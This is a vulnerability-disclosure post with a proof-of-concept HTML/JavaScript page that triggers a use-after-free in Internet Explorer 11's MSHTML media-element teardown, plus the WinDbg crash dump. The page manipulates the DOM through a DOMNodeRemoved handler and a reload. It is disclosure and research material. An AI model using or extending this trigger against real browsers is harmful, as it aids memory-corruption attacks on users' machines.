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Microsoft Internet Explorer 11.0.9600.18482 Use-After-Free

Posted on 15 September 2016

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Expires" content="0" />
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
<meta http-equiv="Pragma" content="no-cache" />
<style type="text/css">
body{
background-color:lime;
font-color:red;
};
</style>
<script type='text/javascript'></script>
<script type="text/javascript" language="JavaScript">
/*
# Exploit Title: Internet Explorer 11 Use After Free
# Date: 05/09/2016 - 11/09/2016
# Exploit Author: Marcin Ressel
# Vendor Homepage: https://www.microsoft.com/pl-pl/
# Version: 11.0.9600.18482
# Tested on: Windows 7 (x64)

######################################################################################

0:014> g
(13a8.9b8): Access violation - code c0000005 (!!! second chance !!!)
eax=2f66abb0 ebx=00000001 ecx=2fbc8f08 edx=7ef8d000 esi=2fbc8f08 edi=2fbc8f08
eip=6d754a45 esp=1feac660 ebp=1feac674 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CElement::SecurityContext+0x25:
6d754a45 8b80b8000000 mov eax,dword ptr [eax+0B8h] ds:002b:2f66ac68=????????
0:014> d @eax
2f66abb0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abc0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abd0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abe0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66abf0 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66ac00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66ac10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
2f66ac20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:014> kb
ChildEBP RetAddr Args to Child
1feac660 6d5e7c69 6d5e7500 1feac690 2fbc8f08 MSHTML!CElement::SecurityContext+0x25
1feac674 6d5e75cf 2fbc8f08 2fbc8f08 2fbc8f08 MSHTML!CMediaElement::RemoveFromPlayToElementTracker+0x1d
1feac688 6d5e7bee 1feac6a0 6d5e7bd0 00000004 MSHTML!CMediaElement::Shutdown+0xdc
1feac698 6d5e7b1c 48cfae30 50d00bb0 4542dbd0 MSHTML!CMediaElement::OnMarkupTearDown+0x1e
1feac6c4 6d3b23dc 00000000 4542dbd0 50d00bb0 MSHTML!CMarkup::InvokeMarkupTearDownCallbacks+0xc0
1feac6d8 6d3b22c9 00000001 00000001 341a8bb0 MSHTML!CMarkup::TearDownMarkupHelper+0xe4
1feac700 6d3adf1f 00000001 00000001 1feac7d0 MSHTML!CMarkup::TearDownMarkup+0x58
1feac7b0 6dae9665 341a8bb0 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4eb
1feac894 6dae97e3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1c
1feac8a8 6d0d763b 457f1f68 00005004 00000001 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
1feac8f0 6d0cd4e2 91c55b56 00000000 6d0cc800 MSHTML!GlobalWndOnMethodCall+0x17b
1feac944 76b862fa 001401c6 00008002 00000000 MSHTML!GlobalWndProc+0x103
1feac970 76b86d3a 6d0cc800 001401c6 00008002 user32!InternalCallWinProc+0x23
1feac9e8 76b877d3 00000000 6d0cc800 001401c6 user32!UserCallWinProcCheckWow+0x109
1feaca4c 76b8789a 6d0cc800 00000000 1feafc28 user32!DispatchMessageWorker+0x3cb
1feaca5c 6e5fa8ac 1feaca9c 62382e48 2efb2fe0 user32!DispatchMessageW+0xf
1feafc28 6e620e88 1feafcf4 6e620b00 5cba2ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
1feafce8 74e4ad3c 62382e48 1feafd0c 6e614b00 IEFRAME!LCIETab_ThreadProc+0x3e7
1feafd00 6e593a31 5cba2ff0 00000000 6e5939a0 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
1feafd38 6fae9608 4b3b6fe8 705e0368 00000000 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94

############################################################################################
*/

var doc;
var trg, trg_parent;
function testcase()
{
var e1_frame = document.getElementById("e1");
doc = document;

e = e1_frame.contentWindow.document.createElement("hr");
rf = doc.body.appendChild(e);

e = e1_frame.contentWindow.document.createElement("audio");
rf = doc.body.appendChild(e);

dom = doc.getElementsByTagName("*");
document.getElementById("e1").removeNode(true);
trg = dom[14];
trg_parent = doc.body;

trg.addEventListener('DOMNodeRemoved',
new Function('',
//'try{trg.removeEventListener("DOMNodeRemoved",this,false);}catch(e){}'+
'try{trg.appendChild(document.createElement("feOffset")).removeNode(false).ATTRIBUTE_NODE = "false";}catch(e){}'+
'try{trg_parent = trg.cloneNode(true);}catch(e){}'//+
// 'try{doc = document.implementation.createDocument("about:blank","","text/html");}catch(e){}'
),
false);
trg_parent.innerHTML = trg.innerHTML;
//CollectGarbage();
//trg.innerHTML = "<h1></h1>"
setTimeout('location.reload();',700);
}
</script>
<title>Use After Free</title>
</head>
<body onload='testcase();'>
<iframe></iframe><iframe src='about:blank' id='e1'></iframe>
</body>
</html>
</html>

 

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